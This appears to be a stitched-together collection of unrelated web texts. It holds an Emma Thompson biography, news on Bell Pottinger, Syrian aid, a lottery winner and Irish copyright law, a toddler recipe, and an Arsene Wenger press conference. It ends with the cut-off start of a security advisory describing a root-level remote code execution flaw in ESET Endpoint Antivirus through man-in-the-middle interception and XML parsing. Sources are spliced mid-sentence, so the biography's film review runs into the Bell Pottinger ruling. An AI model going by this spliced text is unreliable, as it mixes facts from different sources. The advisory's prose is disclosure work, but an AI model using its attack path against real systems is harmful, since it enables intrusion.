At Cambridge, Thompson was invited into Footlights, the university's prestigious sketch comedy troupe, by its president, Martin Bergman, becoming its first female member.[18] Also in the troupe were fellow actors Stephen Fry and Hugh Laurie, and she had a romantic relationship with the latter.[19] Fry recalled that "there was no doubt that Emma was going the distance. Our nickname for her was Emma Talented."[20] In 1980, Thompson served as the Vice President of Footlights,[21] and co-directed the troupe's first all-female revue, Woman's Hour. The following year, Thompson and her Footlights team won the Perrier Award at the Edinburgh Festival Fringe for their sketch show The Cellar Tapes.[22]
In 1982, Thompson's father died as a result of circulatory problems at the age of 52.[6] The actress has commented that this "tore [the family] to pieces",[23] and "I can't begin to tell you how much I regret his not being around".[24] She added, "At the same time, it's possible that were he still alive I might never have had the space or courage to do what I've done... I have a definite feeling of inheriting space. And power."[24]
Acting career [ edit ]
1980s: Breaking through [ edit ]
Thompson had her first professional role in 1982, touring in a stage version of Not the Nine O'Clock News.[5] She then turned to television, where much of her early work came with her Footlights co-stars Hugh Laurie and Stephen Fry. The regional ITV comedy series There's Nothing To Worry About! (1982) was their first outing, followed by the one-off BBC show The Crystal Cube (1983).[25] There's Nothing to Worry About! later returned as the networked sketch show Alfresco (1983–84), which ran for two series with Thompson, Fry, Laurie, Ben Elton, and Robbie Coltrane.[5][25] She later collaborated again with Fry and Laurie on the acclaimed BBC Radio 4 series Saturday Night Fry (1988).
In 1985, Thompson was cast in the West End revival of the musical Me and My Girl, co-starring Robert Lindsay. It provided a breakthrough in her career, as the production earned rave reviews.[5][26] She played the role of Sally Smith for 15 months, which exhausted the actress; she later remarked "I thought if I did the fucking "Lambeth Walk" one more time I was going to fucking throw up."[20] At the end of 1985, she wrote and starred in her own one-off special for Channel 4, Emma Thompson: Up for Grabs.[27]
Thompson achieved another breakthrough in 1987,[5] when she had leading roles in two television miniseries: Fortunes of War, a World War II drama co-starring Kenneth Branagh, and Tutti Frutti, a dark-comedy about a Scottish rock band with Robbie Coltrane.[26] For these performances, Thompson won the British Academy Television Award for Best Actress.[28] The following year, she wrote and starred in her own sketch comedy series for BBC, Thompson, but this was poorly received.[29] In 1989, she and Branagh—who had formed a romantic relationship—starred in a stage revival of Look Back in Anger, directed by Judi Dench and produced by Branagh's Renaissance Theatre Company.[26][30] Later that year, the pair starred in a televised version of the play.[5][30]
Thompson's first cinema appearance came in the romantic comedy The Tall Guy (1989), the feature-film debut from screenwriter Richard Curtis.[26] It starred Jeff Goldblum as a West End actor, and Thompson played the nurse with whom he falls in love. The film was not widely seen,[31] but Thompson's performance was praised in The New York Times, where Caryn James called her "an exceptionally versatile comic actress".[32] She next turned to Shakespeare, appearing as Princess Katherine in Branagh's screen adaptation of Henry V (1989). The film was released to great critical acclaim.[33]
1990–93: A leading British actress [ edit ]
Thompson and Branagh are considered by American writer and critic James Monaco to have led the "British cinematic onslaught" in the 1990s.[34] She continued to experiment with Shakespeare in the new decade, appearing with Branagh in his stage productions of A Midsummer Night's Dream and King Lear.[26][30] Reviewing the latter, the Chicago Tribune praised her "extraordinary" performance of the "hobbling, stooped hunchback Fool".[35] Thompson returned to cinema in 1991, playing a "frivolous aristocrat"[5] in Impromptu with Judy Davis and Hugh Grant.[36] and Thompson was nominated for Best Supporting Female at the Independent Spirit Awards.[37] Her second release of 1991 was another pairing with Branagh, who also directed, in the Los Angeles-based noir Dead Again. She played a woman who has forgotten her identity.[38] Early in 1992, Thompson had a guest role in an episode of Cheers as Frasier Crane's first wife.[39]
A turning point in Thompson's career[26] came when she was cast opposite Anthony Hopkins and Vanessa Redgrave in the Merchant Ivory period drama Howards End (1992), based on the novel by E. M. Forster. The film explored the social class system in Edwardian England, with Thompson playing an idealistic, intellectual, forward-looking woman who comes into association with a privileged and deeply conservative family. She actively pursued the role by writing to director James Ivory, who agreed to an audition and then gave her the part.[40] According to the critic Vincent Canby, the film allowed Thompson to "[come] into her own", away from Branagh.[41] Upon release, Roger Ebert wrote that she was "superb in the central role: quiet, ironic, observant, with steel inside".[42] Howards End was widely praised,[43] a "surprise hit",[44] and received nine Academy Award nominations.[45] Among its three wins was the Best Actress trophy for Thompson, who was also awarded a Golden Globe and BAFTA for her performance.[5] Reflecting on the role, The New York Times writes that the actress "found herself an international success almost overnight".[5]
For her next two films, Thompson returned to working with Branagh. In Peter's Friends (1992), the pair starred with Stephen Fry, Hugh Laurie, Imelda Staunton, and Tony Slattery as a group of Cambridge alumni who are reunited ten years after graduating. The comedy was positively reviewed,[46] and Desson Howe of The Washington Post wrote that Thompson was its highlight: "Even as a rather one-dimensional character, she exudes grace and an adroit sense of comic tragedy."[47] She followed this with Branagh's screen version of Much Ado About Nothing (1993). The couple starred as Beatrice and Benedick, alongside a cast that also included Denzel Washington, Keanu Reeves, and Michael Keaton. Thompson was widely praised for the on-screen chemistry with Branagh and the natural ease with which she played the role[48][49] marking another critical success for Thompson.[50] Her performance earned a nomination for Best Female Lead at the Independent Spirit Awards.[37]
Thompson reunited with Merchant–Ivory and Anthony Hopkins to film The Remains of the Day (1993), a film which has been described as a "classic" and the production team's definitive film.[51][52] Based on Kazuo Ishiguro's novel about a housekeeper and butler in interwar Britain, the story is acclaimed for its study of loneliness and repression, though Thompson was particularly interested in looking at "the deformity that servitude inflicts upon people", since her grandmother had worked as a servant and made many sacrifices.[53] She has named the film as one of the greatest experiences of her career, considering it to be a "masterpiece of withheld emotion".[54] The Remains of the Day was a critical and commercial success,[51] receiving eight Oscar nominations, including Best Picture and a second Best Actress nod for Thompson.
Along with her Best Actress nomination at the 66th Academy Awards, Thompson was also nominated in the Best Supporting Actress category, making her the eighth performer in history to be nominated for two Oscars in the same year.[55] It came for her role as the lawyer Gareth Peirce in In the Name of the Father (1993), a drama about the Guildford Four starring Daniel Day-Lewis. The film was her second hit of the year, earning $65 million and critical praise, and was nominated for Best Picture along with The Remains of the Day.[56][57]
1994–98: Sense and Sensibility and Hollywood roles [ edit ]
In 1994, Thompson made her Hollywood debut playing a goofy doctor alongside Arnold Schwarzenegger and Danny DeVito in the blockbuster Junior. Although the male pregnancy storyline was poorly received by most critics and flopped at the box office,[58] Mick LaSalle of the San Francisco Chronicle praised the lead trio.[59] She returned to independent cinema for a lead role in Carrington, which studied the platonic relationship between artist Dora Carrington and writer Lytton Strachey (played by Jonathan Pryce). Roger Ebert remarked that Thompson had "developed a specialty in unrequited love",[60] and the TV Guide Film & Video Companion commented that her "neurasthenic mannerisms, which usually drive us batty, are appropriate here".[61]
Thompson's Academy success continued with Sense and Sensibility (1995), generally considered to be the most popular and authentic of the numerous film adaptions of Jane Austen's novels made in the 1990s.[62][63][64] Thompson—a lifelong lover of Austen's work—was hired to write the film based on the period sketches in her series Thompson.[65] She spent five years developing the screenplay,[66] and took the role of the spinster sister Elinor Dashwood despite, at 35, being 16 years older than the literary character.[67] Directed by Ang Lee and co-starring Kate Winslet, Sense and Sensibility received widespread critical praise and is one of the highest-grossing films of Thompson's career.[68][69] Shelly Frome remarked that she displayed a "great affinity for Jane Austen's style and wit",[70] and Graham Fuller of Sight and Sound saw her as the film's auteur.[71] Thompson received a third nomination for Best Actress and won the award for Best Adapted Screenplay, making her the only person in history to win an Oscar for both acting and writing.[72] She also earned a second BAFTA Award for Best Actress and a Golden Globe Award for Best Screenplay.[5]
Thompson was absent from screens in 1996, but returned the following year with Alan Rickman's directorial debut, The Winter Guest. Set over one day in a Scottish seaside village, the drama allowed Thompson and her mother (Phyllida Law) to play mother and daughter on screen.[73] She then returned to America to appear in an episode of Ellen, and her self-parodying performance received a Primetime Emmy Award for Outstanding Guest Actress in a Comedy Series.[26][74]
For her second Hollywood role, Thompson starred with John Travolta in Mike Nichols's Primary Colors (1998), playing a couple based on Bill and Hillary Clinton.[75] Thompson's character, Susan, is described as that of an "ambitious, long-suffering wife" who has to deal with her husband's infidelity.[76] The film was critically well received but lost money at the box office.[77][78] According to Kevin O'Sullivan of the Daily Mirror, Americans were "blown away" by her performance and accent, and top Hollywood producers became increasingly interested in casting her.[79] Thompson rejected many of the offers, expressing concerns about living in Los Angeles behind walls with bodyguards, and stated "LA is lovely as long as you know you can leave". She also admitted to feeling tired and jaded with the industry at this point, which influenced her decision to leave film for a year.[80] Thompson followed Primary Colors by playing an FBI agent opposite Rickman in the poorly received thriller Judas Kiss (1998).[81]
2000s: Smaller roles [ edit ]
Nanny McPhee, 2005 Thompson at the London premiere of, 2005
When she became a mother in 1999, Thompson made a conscious decision to reduce her workload, and in the following years many of her appearances were supporting roles.[53][82] She was not seen on screen again until 2000, with only a small part in the British comedy Maybe Baby, which she appeared in as a favour to its director, her friend Ben Elton.[83]
For the HBO television film Wit (2001), however, Thompson happily took the lead role in what she felt was "one of the best scripts to have come out of America".[84] Adapted from Margaret Edson's Pulitzer Prize winning play, it focuses on a self-sufficient Harvard University professor who finds her values challenged when she is diagnosed with ovarian cancer. Thompson was instrumental in bringing Mike Nichols to direct the project, and the pair spent months in rehearsal to get the complex character right.[85] She was greatly drawn to the "daredevil" role,[86] for which she had no qualms about shaving her head.[87] Reviewing the performance, Roger Ebert was touched by "the way she struggles with every ounce of her humanity to keep her self-respect", and in 2008 he called it Thompson's finest work.[88] Caryn James of The New York Times also described it as "one of her most brilliant performances", adding "we seem to be peering into a soul as embattled as its body."[89] The film earned Thompson nominations at the Golden Globes, Emmys and Screen Actors Guild Awards.
Thompson's only credit of 2002 was a vocal performance in Disney's Treasure Planet, an adaptation of Treasure Island, where she voiced Captain Amelia. The animation earned far less than its large budget and was considered a "box office disaster".[90] This failure was countered the following year by one of Thompson's biggest commercial successes, Richard Curtis's romantic comedy Love Actually.[69] As part of an ensemble cast that included Liam Neeson, Keira Knightley, and Colin Firth, she played a middle-class wife who suspects her husband (played by Alan Rickman) of infidelity. The scene in which her stalwart character breaks down was described by one critic as "the best crying on screen ever",[53] and in 2013, Thompson mentioned that she gets commended for this role more than any other.[91] She explained, "I've had so much bloody practice at crying in a bedroom then having to go out and be cheerful, gathering up the pieces of my heart and putting them in a drawer."[92] Her performance received a BAFTA nomination for Best Supporting Actress.[93]
Thompson continued with supporting roles in the 2003 drama Imagining Argentina, where she played a dissident-journalist abducted by the country's 1970s dictatorial regime. Antonio Banderas played the husband who tries to find her, in a film that most critics disliked.[94] The film was booed and jeered at when it was screened at the Venice Film Festival and received a scathing article in The Guardian.[95] Thompson had greater success that year when she worked with HBO for a second time in the acclaimed miniseries Angels in America (2003).[26] The show, also featuring Al Pacino and Meryl Streep, dealt with the AIDS epidemic in Reagan-era America. Thompson played three roles – a nurse, a homeless woman, and the title role of The Angel of America – and was again nominated for an Emmy Award.[74] In 2004, she played the eccentric Divination teacher Sybill Trelawney in the third Harry Potter film, the Prisoner of Azkaban, her character described as a "hippy chick professor who teaches fortune-telling".[96][self-published source] She later reprised her role in the Order of the Phoenix (2007) and the Deathly Hallows – Part 2 (2011),[26] and has called her time on the popular franchise "great fun".[53]
"Nanny McPhee, it took nine years to make that movie, from the moment I picked up the book to the moment we walked into the movie theatre... the [films] were labours of great love and commitment." —Thompson on Nanny McPhee and its sequel, which she wrote and starred in.[53]
The year 2005 saw the release of a project Thompson had been working on for nine years.[53] Loosely based on the Nurse Matilda stories that she read as a child, Thompson wrote the screenplay for the children's film Nanny McPhee – which centres on a mysterious, unsightly nanny who must discipline a group of children. She also took the lead role, alongside Colin Firth and Angela Lansbury, in what was a highly personal project.[53][97] The film was a success, taking number one at the UK box office and earning $122 million worldwide.[98][99] Commenting on Thompson's screenplay, film critic Claudia Puig wrote that its "well-worn storybook features are woven effectively into an appealing tale of youthful empowerment".[100] The following year, Thompson appeared in the surreal American comedy–drama Stranger than Fiction, playing a novelist whose latest character (played by Will Ferrell) is a real person who hears her narration in his head. Reviews for the film were generally favourable.[101]
Last Chance Harvey, March 2009 Thompson at the premiere of, March 2009
Following a brief, uncredited role in the post-apocalyptic blockbuster I Am Legend (2007),[102] Thompson played the devoutly Catholic Lady Marchmain in a 2008 film adaptation of Brideshead Revisited. Critics were unenthusiastic about the film,[103] but several picked Thompson out as its highlight.[104][105] Mark Kermode said "Emma Thompson is to some extent becoming the new Judi Dench, as the person who kind of comes in for 15 minutes and is brilliant... [but then] when she goes away, the rest of the movie has a real problem living up to the wattage of her presence".[106] Thompson was further acclaimed for her work in the London-based romance Last Chance Harvey (2008), where she and Dustin Hoffman played a lonely, middle-aged pair who cautiously begin a relationship. Critics praised the chemistry between the two leads, and both received Golden Globe nominations for their performances.[107][108] Thompson's two 2009 films were both set in 1960s England, and in both she made cameo appearances: as a headmistress in the critically praised drama An Education[109] and as a "tippling mother" in Richard Curtis's The Boat that Rocked.[110]
2010s: Veteran performer [ edit ]
Five years after the original, Thompson returned to Nanny McPhee with 2010's Nanny McPhee and the Big Bang. Her screenplay transported the story to Britain during the Second World War, and incorporated a new cast including Maggie Gyllenhaal. Building on the first film's success, it was another UK box office number one and the sequel was widely seen as an improvement.[111][112] The same year, Thompson reunited with Alan Rickman for the BBC television film The Song of Lunch, which focused on two unnamed characters meeting at a restaurant 15 years after ending their relationship.[113] Thompson's performance earned her a fourth Emmy Award nomination.[74]
In 2012, Thompson made a rare appearance in a big-budget Hollywood film[53] when she played the head Agent in Men in Black 3 – a continuation of the popular sci-fi comedy franchise starring Will Smith. With a worldwide gross of $624 million, MIB3 is Thompson's biggest commercial hit outside of the Harry Potter films.[69] This mainstream success continued with the Pixar film Brave, in which Thompson voiced Elinor – the Scottish queen despairing at her daughter's defiance against tradition.[26] It was her second consecutive blockbuster release, and critics were generally kind to the film.[69][114] Also in 2012, Thompson played Queen Elizabeth II in an episode of Playhouse Presents, which dramatised an incident in 1982 when an intruder broke into the Queen's bedroom.[115] Her first film of 2013 was the fantasy romance Beautiful Creatures, in which she played an evil mother. The film aimed to capitalise on the success of The Twilight Saga, but was poorly reviewed and a box office disappointment.[116][117] Film critic Peter Travers was critical of Thompson's performance and "outrageously awful Southern accent", and feared "the damage this crock may do to [her] reputation".[118]
The Love Punch, September 2013 Thompson at the premiere of, September 2013
Conversely, her next appearance was so successful that it led one journalist to write "Emma Thompson is back, firing on all cylinders."[119] Saving Mr. Banks depicted the making of Mary Poppins, and starred Thompson as P. L. Travers, curmudgeonly author of the source novel, and Tom Hanks as Walt Disney. The actress considered it the best screenplay she had read in years and was delighted to be offered the role. She considered it to be the most challenging of her career because she had "never really played anyone quite so contradictory or difficult before", but found the inconsistent and complicated character "a blissful joy to embody".[53][120] The film was well-received, grossed $112 million worldwide, and critics were unanimous in their praise for Thompson's performance.[119][121] The review in The Independent expressed thanks that her "playing of Travers is so deft that we instantly warm to her, and forgive her her snobbery",[122] while Total Film's critic felt that Thompson brought depth to the "predictable" film with "her best performance in years".[123] Thompson was nominated for Best Actress at the BAFTAs, SAGs and Golden Globes, and received the Lead Actress trophy from the National Board of Review. Meryl Streep stated that she was "shocked" to see that Thompson did not receive an Academy Award nomination for the film.[124]
The romantic-comedy The Love Punch (2013) gave Thompson her second consecutive leading role, where she and Pierce Brosnan played a divorced couple who reunite to steal his ex-boss's jewellery.[125] In March 2014, she made her first stage appearance in 24 years – and her New York debut – in a Lincoln Center production of Sweeney Todd: The Demon Barber of Fleet Street. She appeared in the musical for five nights, and her "playful" performance of Mrs Lovett was highly praised; the critic Kayla Epstein wrote that she "not only held her own against more experienced vocalists, but wound up running off with the show".[126] She received her sixth Emmy nomination for the televised version of the show.[127] In 2014, Thompson provided the narration for Jason Reitman's film Men, Women & Children,[128]
The period drama Effie Gray, a project that she had been working on for many years, based on the true-life story of John Ruskin's disastrous marriage, was written by Thompson but became the subject of a copyright suit before being cleared for cinemas. The American playwright Gregory Murphy said that Thompson's screenplay was an infringement on his play and screenplay The Countess, which he claimed he had submitted to Thompson through a mutual friend in 2003 to consider the role of Elizabeth Eastlake in a proposed film of his play, and to Thompson's husband Greg Wise through a casting director to consider the role of John Ruskin in the play's 2005 West End production.[129] In 2008, Thompson announced that she and Wise "had written a script together about John Ruskin, the Victorian art critic, which we want to make into a film."[130] After meeting with Thompson and her producers, Potboiler Productions, Murphy was offered a screenwriting fee and co-screenwriting credit with Thompson in settlement of his claim.[131] This settlement offer was later abandoned by Thompson, Greg Wise and their partner Donald Rosenfeld, when their company Sovereign Films took over production of the film and instigated the suit, creating the independent entity Effie Film, LLC, spearheaded by Rosenfeld, to litigate it.[132][133] In March 2013, District Court Judge Thomas P. Griesa, after allowing Thompson to submit a second revised screenplay into evidence from which Murphy claimed "some of the most troubling material" had been removed,[134] ruled that while there were similarities, the screenplays were "quite dissimilar in their two approaches to fictionalising the same historical events".[135][136] In response to Murphy's attorney's concerns that the completed film Effie Gray would not adhere to Thompson's second revised screenplay, Judge Griesa concluded his ruling by saying that Thompson's film would not infringe Murphy's play or screenplay "only to the extent that it does not substantially deviate from the November 29, 2011 screenplay," the date of Thompson's second revised screenplay.[137] In May 2013, Effie Gray's Cannes Film Festival premiere was cancelled. In October 2013, the film was withdrawn from the Mill Valley Film Festival in California due to "unforeseen circumstances" according to producer Rosenfeld.[138][139] In December 2013, Thompson said of the still unreleased Effie Gray that its "time has probably passed," comparing it to another project of hers that "didn't happen either."[140] Effie Gray was released in October 2014, to a modest reception.[141] Thompson plays Elizabeth Eastlake and Greg Wise plays John Ruskin. They both declined to promote the film.[142][143] Camilla Long reviewing Effie Gray in The Sunday Times wrote "nothing fits together" and "no one seems to know why they made this film. Where is Thompson's passion and commitment, or any hint of what she intended to achieve."[144] Manohla Dargis in her review in The New York Times called Effie Gray |
any reasonable standard of judgement likely to inflame racial discord in South Africa and appears to have done exactly that. The committee did not find the suggestion that this theme of the campaign and its consequences were unintentional to be plausible. The targeting of white corporate South Africa is a material consideration here.”
The committee also found that Bell Pottinger breached a clause stating that companies must observe the highest standards in the practice of public relations and communications, and another that stipulated that companies must take care to uphold the standing of the profession as a whole.
The PRCA also found that the South African campaign did not have enough oversight by senior Bell Pottinger staff, despite its controversial subject matter.
“The manner in which the Oakbay Capital programme was conceived and delivered indicated a failure on the part of Bell Pottinger’s senior management to oversee and control a campaign which, in the committee’s view, required the highest level of scrutiny and supervision, given the sensitive political and social environment in which it was activated,” stated the media release.
The ruling comes after a report by international law firm Herbert Smith Freehills was published regarding Bell Pottinger’s work for the Guptas.
The law firm on Monday found that Bell Pottinger’s work for Oakbay was “potentially racially divisive” and breached ethical principles.
Bell Pottinger CEO James Henderson also officially announced his resignation on Monday.
Henderson said he felt “deeply let down” by colleagues who misled him about the content of the Oakbay account, but added that as the head of the group he ultimately had to accept responsibility.
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Read Fin24's top stories trending on Twitter: Fin24’s top storiesAre you looking for a tasty, nutritious, and easy-to-eat Indian recipe for your toddler or young child? Growing up in Canada, I visited India during summer vacations and distinctly remember watching my aunts and older cousins feed young children between the ages of 1 and 3 who were just starting to eat “real food” or “adult food.” In South India it’s common to eat a lentil-based soup (called ‘saaru’, ‘chaaru’ or ‘rasam’) combined with cooked rice. Meals are generally eaten by hand, with no silverware. I watched as young mothers gently combined soft steamed rice with stewed lentils into small lentil-rice balls and fed their children by hand. I’ve never forgotten the visual memory of it because it was the sweetest thing as they popped the rice balls into their mouths, which were happily gobbled up. In India, like elsewhere, when babies start on “solid food” they begin eating single ingredient items (like mashed bananas or very soft steamed rice combined with milk) that are devoid of any spices or herbs; when toddlers begin eating “real food” or “adult food” the textures and flavors become a little heartier while still being easily digestible — mild, ground spices are used, rather than anything too spicy or full of cumin seeds or red chilli pepper.
So for all you parents and caregivers looking for wholesome, healthy Indian recipe ideas for toddlers or young children, this is an authentic Indian meal eaten by millions of kids in India. Moreover, it’s full of healthy ingredients from lentils to turmeric. This dish is easy to make, plus I’ve modified the original recipe so you can easily find the ingredients no matter where you might live. Definitely bookmark this page the next time you run out of ideas and want to try to entice your little one with something different! Let me know how it works out for you by posting a comment or question below 🙂
If you’re interested in reading more about Indian food for kids, you may also like these posts:
Introducing Indian food to Kids
My Toddler is a Picky Eater Who Loves Indian Food
Soft lentil & rice balls for toddlers
Yields 30 balls
Ingredients
1 cup red lentils
2 cups water
2 cups cooked white basmati rice (at room temperature)
1/8 teaspoon canola oil
1/8 teaspoon turmeric
1/4 teaspoon cumin
1/4 teaspoon coriander
1/4 teaspoon paprika
1/2 teaspoon salt
1/2 teaspoon brown sugar
1 teaspoon tomato paste
1/4 cup water
PreparationSome $1.5bn (£1bn) in aid pledged to Syria has largely failed to materialise, the UN said on Thursday, as the number of refugees who have fled the country reaches one million.
Gulf countries and other states including the UK pledged the money at a major donor conference in Kuwait last month. About $1bn was earmarked for neighbouring countries hosting refugees, with $500m for humanitarian aid to Syrians displaced internally by fighting.
But with the situation on the ground worsening dramatically since early this year, and with violence reaching unprecedented levels, the UN said it had received little of the $1.5bn promised. The UN's World Health Organisation (WHO) said it had received nothing. The UN refugee agency said it had got 30% of $496m pledged.
Speaking to the Guardian, the head of WHO in Syria, Elizabeth Hoff, said the security situation in the Syrian capital had got worse. There were several explosions on a daily basis, and an increasing number of people in Damascus being killed and injured, she said, adding: "It is much more serious here over the last few weeks than it previously was."
Those hospitals not destroyed in fighting were struggling to cope, with very high occupancy rates. Health workers in Aleppo and the suburbs of Damascus were finding it difficult to get to work because of checkpoints and snipers, she said. Medical supplies – including anaesthetic for trauma surgery – were inadequate. Insulin was running out.
She added: "We have not received any fresh money as of today. And the needs are actually enormous now. The needs are growing: the escalation of the violence, more and more burns. We cannot meet these needs, and we have not received any fresh money."
Last month, Saudi Arabia, Kuwait and Qatar each pledged $300m. But WHO said it was still relying on funds from traditional sources such as Scandinavia, as well as the UN and EU. On Wednesday, Oxfam said just 20% of the $1.5bn pot had reached aid agencies, despite the fact the country's humanitarian crisis was now spinning out of control.
On Thursday the opposition Syrian National Coalition (SNC) said 3.4 million Syrians in the mainly rebel-controlled north needed urgent humanitarian assistance. At least 1 million of them were internally displaced. Little aid was reaching them because Syria's president, Bashar al-Assad, had refused to give aid agencies permission to carry out cross-border humanitarian operations, it said. It called on Russia and China to press Assad to lift the blockade.
According to the latest UN figures, the number of refugees fleeing to neighbouring countries has reached 940,131, a record. The true figure may be higher. Since early January around 40,000 have fled every week – the fastest rate ever. On Wednesday Adrian Edwards, chief spokesman for UNHCR, predicted the number would soon pass the symbolic 1 million, "probably in early March".
Inevitably this exodus has placed a huge strain on Jordan, Lebanon and Turkey, who have complained that they are no longer able to cope. On Thursday, Lebanon's interior minister said Syrian refugees had become a threat to Lebanon's security because of the suspicion that many were rebel fighters.
Residents in northern Lebanon say rebels pose as refugees to cross the border, and are arming members of the refugee community in Lebanon to fight in Syria. The minister, Marwan Charbel, has said Syrian rebels have set up training camps in Lebanon.
In addition, members of the rebel Free Syrian Army have used Lebanon's mountainous terrain to regroup before staging attacks on the Syrian army across the poorly demarcated border. "What is concerning me is the security situation," Charbel said at a joint news conference with the United Nations Development Programme. "Who is exploiting (the Syrian refugees)? Who is arming them? We are not controlling them."SAN MATEO, CA — What would you do if you won $1 million from the California lottery? The answer for Moises Alonzo-Reyes is a bit unusual - he is leaving the country.
Alonzo-Reyes stopped to pick up some frozen yogurt on his way home from work on a hot day back in May. While at the store, he picked up a scratch-off lottery ticket.
"I bought the Million Dollar Multiplier ticket at La Raza Market. I scratched the ticket in the store and saw that I won. I couldn't believe it," Alonzo-Reyes said when asked about winning the top prize for that Scratchers game.
Alonzo-Reyes is originally from Central America and hasn't seen his family in more than 12 years. While not getting too specific, the camera-shy winner says he will use his windfall to move home to Central America.
If you want to buy a ticket from La Raza Market — who knows, lightening could strike twice — the market is located at 380 North Ellsworth Avenue in San Mateo.
La Raza Market will receive a $5,000 retailer bonus for selling the winning ticket.
The California Lottery is a $6 billion enterprise based. Ninety-five cents of every dollar spent by players is paid out in winnings for goes back to local communities in the form of contributions to public schools and colleges, and retail compensation.
-Video by Fresco; Image via California Lottery
Also See:Arsene Wenger faced the media after Arsenal's 2-0 win over Napoli in the Champions League. This is a transcript from his press conference:
on the performance…I am delighted of course because it was a very enjoyable game tonight with a fantastic first half, played at a great pace with belief, authority in our game, great finishing, great movement. Overall, that's the game we want to see. The second half was a bit more handbrake-ish, a bit more cautious, but we played more not to make a mistake than to score. But in patches, when we went forward, you could see that the third goal was there if we really went for it.
on what Ozil has added…I think he is like the team. He had an outstanding first half where you had everything you want to see from a great player - individual skill, team play, finishing, final ball… just sit there and enjoy it. I loved him as well in Madrid, I thought he was great in Madrid, and we are just lucky to have got him. I believe as well that he enjoys playing football and you could see that. He enjoys to play with his partners, he has integrated very quickly into the team, with the mentality. He came as well in a period where we are doing well and that maybe made it easier.
"It was a very enjoyable game with a fantastic first half, played at a great pace with belief, authority in our game, great finishing, great movement. Overall, that's the game we want to see"
on Ozil lifting the Club…At the moment, yes. You know, we got so much stick at the start of the season that I am a bit cautious! So at the moment… of course he gave a lift to everybody around the Club, and belief as well. Belief is part of success in football as well.
on when Arsenal last played this well…I don't know. Certainly at home, it is one of the best halves we have played for a long time. But as well I think in the Champions League, the games you see are a bit different. I would be tempted to say last time we played Barcelona here, but when you play in the Champions League at home, the teams come and try to play as well. In the championship, in the Premier League, most of the time you are against a team that defends, that waits for you, so you have to be patient. Tonight, in the Champions League, it was a bit more [of an] open game.
on the prospect of winning trophies…We are here for that. As I told you yesterday in the press conference, there is a long way to go. But we have a good basis, we have belief, we have a good spirit, let's just focus on the next game and continue to enjoy playing together.
on leaving out Jack Wilshere…Of course it was difficult. But I do not want to overload him. He comes back for a long time, he has given a lot on Saturday, and I decided that [to leave him out] very late today. With him I am a little bit more cautious than I was before.
on Arteta's return giving him options…Of course. You cannot play with 11 players with all the games we have in front of us. It is important that I rotate without losing the balance of the team. When Cazorla comes back, Podolski, Chamberlain, we have of course options in midfield. Tonight I played Flamini and Arteta because Flamini had a job to do on Hamsik a lot, and he did that very well. Napoli are very dangerous going forward on counter-attacking, and I felt we stopped them very well from doing that.
on Flamini's influence…You don't want to compare [with Ozil] but he gives us a balance in the team and he gives qualities to the team that are needed, that is for sure.
on being in a position to qualify…Yes but we play Dortmund now. The group looks very tight because Dortmund won tonight so the key game will certainly be us against Dortmund here in the next game.
on Napoli…I think they maybe suffered in the first half and they chased the ball a lot in the first half and that took a lot out of them. They didn't give up in the second half, I just felt in the last 15 minutes they were tired. But once you are 2-0 down away in the Champions League, as long as you don't come back to 2-1, it's difficult. But they are a very good team. I count Napoli as well, it will be a difficult trip for us to go to Napoli, certainly it will be of course a big fight.
on winning being a habit…Look, it's a nice habit to have. I've had experiences in my life where we did win a lot, and other experiences as well of course. But unfortunately if you stay long enough in this job you don't always win.Minister of State for Research and Innovation Sean Sherlock has become embroiled in fresh controversy over his new copyright laws after it emerged a member of a panel discussion on the legislation had been asked to step down.
Solicitor Simon McGarr, who took part in the Stop Sopa Ireland campaign, was among those who had been invited to take part in the Digital Rights Forum, a public discussion taking place tomorrow, to discuss issues surrounding digital rights in Ireland organised by IT expert Sean Nicholls.
However, Mr McGarr said he had been asked to step down from the panel last week after the minister threatened not to participate if he [McGarr] was on the panel.
Mr Sherlock confirmed today he had told the organiser of the event that he would not take part in a panel that included Mr McGarr, saying he was responsible for causing “reputational damage to this country”.
“I stated that I did not want to share a podium with someone who generated an online campaign that falsely compared the Statutory Instrument to the US Sopa legislation,” he said.
“I stated to Sean [Nicholls] that I had an issue with sharing a podium with Mr McGarr and I would not attend if he was on the podium. I wish to make it clear that I expressly stated that I had no issue with Mr McGarr attending the event and I would be happy for him to do so.”
Mr Nicholls said Mr McGarr was welcome to attend the event as a member of the audience who, he said, were also likely to ask Mr Sherlock hard questions.
Mr McGarr said it was not about whether he was on the panel, but more about whether a minister should say that they did not want to be a panel with someone they did not agree with.
“It’s surprising reason,” he said, following the publication of Mr Sherlock’s reasons for his reluctance to share the panel discussion with him.
He said the Sopa Ireland campaign was an example of “active citizenry” and should be encouraged.
More than 50,000 Irish people signed a petition against the legislation, which was signed into law by the Minister for Enterprise, Jobs and Innovation Richard Bruton on February 29th.
Mr McGarr also backed the Digital Rights Forum.
“I think [organiser Sean] Nicholls is really trying to do something I think is very valuable,” he said.
The developer community, of which Mr Nicholls is a member, would have the opportunity to express their concerns and address them, Mr McGarr said.Full Disclosure mailing list archives
By Date By Thread CVE-2016-9892 - Remote Code Execution as Root via ESET Endpoint Antivirus 6 From: Jason Geffner <geffner () google com>
Date: Mon, 27 Feb 2017 10:27:36 -0800
CVE-2016-9892 - Remote Code Execution as Root via ESET Endpoint Antivirus 6 --------------------------------------------------------------------------- Summary ======= Name: Remote Code Execution as Root via ESET Endpoint Antivirus 6 CVE: CVE-2016-9892 Discoverers: Jason Geffner and Jan Bee Vendor: ESET Product: ESET Endpoint Antivirus 6 for macOS Risk: Critical Discovery Date: 2016-11-03 Publication Data: 2017-02-27 Fixed Version: 6.4.168.0 Introduction ============ Per ESET's online material, "ESET Endpoint Antivirus for OS X delivers award- winning cross-platform protection for multi-platform environments. It protects against malware and spyware and shields end users from fake websites phishing for sensitive information such as usernames, passwords or credit card details. Unauthorized devices can be blocked from the system entirely. The solution's highly intuitive interface allows for quick navigation." Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an outdated XML parsing library and do not perform proper server authentication, allowing for remote unauthenticated attackers to perform arbitrary code execution as root on vulnerable clients. Vulnerability ============= The esets_daemon service, which runs as root, is statically linked with an outdated version of the POCO XML parser library (https://pocoproject.org/) -- version 1.4.6p1 from 2013-03-06. This version of POCO is based on Expat (http://expat.sourceforge.net/) version 2.0.1 from 2007-06-05, which has a publicly known XML parsing vulnerability (CVE-2016-0718) that allows for arbitrary code execution via malformed XML content. When ESET Endpoint Antivirus tries to activate its license, esets_daemon sends a request to https://edf.eset.com/edf. The esets_daemon service does not validate the web server's certificate, so a man-in-the-middle can intercept the request and respond using a self-signed HTTPS certificate. The esets_daemon service parses the response as an XML document, thereby allowing the attacker to supply malformed content and exploit 